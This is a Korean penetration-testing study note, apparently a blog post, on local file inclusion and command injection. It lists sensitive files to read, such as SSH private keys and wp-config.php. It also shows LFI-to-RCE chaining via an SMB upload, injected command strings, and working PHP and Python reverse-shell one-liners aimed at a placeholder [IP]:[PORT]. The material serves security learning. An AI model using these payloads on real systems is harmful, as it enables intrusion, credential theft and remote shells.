hhkb
모의해킹

호스트기반모의해킹_26_웹 취약점 공격(LFI&CI)

작성자 : Heehyeon Yoo|2025-12-07
# 모의해킹# LFI# Command Injection# RCE# Python One-Liner

1. LFI(Local File Inclusion) 공격

1.1 정보 수집(Information Gathering)

LFI 취약점을 통해 단순 파일 읽기를 넘어 시스템 장악을 위한 정찰(Recon)을 수행한다.

  1. 사용자 식별: /etc/passwd 읽기.
    • UID >= 1000인 사용자(예: groot, ubuntu) 식별 -> 실제 사람이 사용하는 계정일 확률 높음.
  2. 흔적 찾기:
    • ~/.bash_history 또는 ~/.ssh/id_rsa(Private Key) 탈취 시도.
    • 비밀번호 없이 SSH 로그인(ssh -i id_rsa ...) 가능.
  3. 설정 파일 열람:
    • MySQL: /etc/mysql/my.cnf(포트, 경로 확인)
    • WordPress: wp-config.php(DB접속 계정 정보)
    • Samba: /etc/samba/smb.conf(실제 파일 경로 매핑 확인, 예: [sambashare] -> /var/samba)

1.2 RCE로 연계(LFI to RCE)

단순 파일 읽기에서 쉘 실행 권한 획득으로 확장한다.

  • SMB/FTP + LFI:
    1. 삼바(SMB)나 FTP에 쓰기 권한이 있다면 리버스 쉘 파일(php-reverse-shell.php) 업로드.
    2. LFI로 해당 파일 경로를 include하여 실행.(?file=../../var/samba/shell.php)

2. Command Injection 공격

2.1 검증 및 정찰

웹 애플리케이션이 ping과 같은 OS 명령어를 실행할 때, 메타 문자를 주입하여 시스템 명령어를 실행한다.

  • 사전 확인: 쉘 실행 전 대상 시스템 환경을 파악해야 한다.
    • php -h, python3 -h 등을 주입하여 해당 인터프리터 설치 여부 확인.
    • Stderr Redirection: 명령 결과가 보이지 않을 땐 2>&1을 추가하여 에러 메시지까지 출력하도록 유도.(ping 127.0.0.1; python3 -h 2>&1)

2.2 리버스 쉘(One-Liner Execution)

파일 업로드 없이 즉시 메모리 상에서 쉘을 실행한다.(URL Encoding 필수)

  • PHP One-Liner:
    php -r '$sock=fsockopen("[IP]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'
    
  • Python One-Liner:
    python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("[IP]",[PORT]));[os.dup2(s.fileno(),fd) for fd in(0,1,2)];pty.spawn("/bin/sh")'
    
  • 주의: 웹 브라우저 URL에 입력 시 &, ;, 공백 등을 반드시 URL 인코딩해야 한다.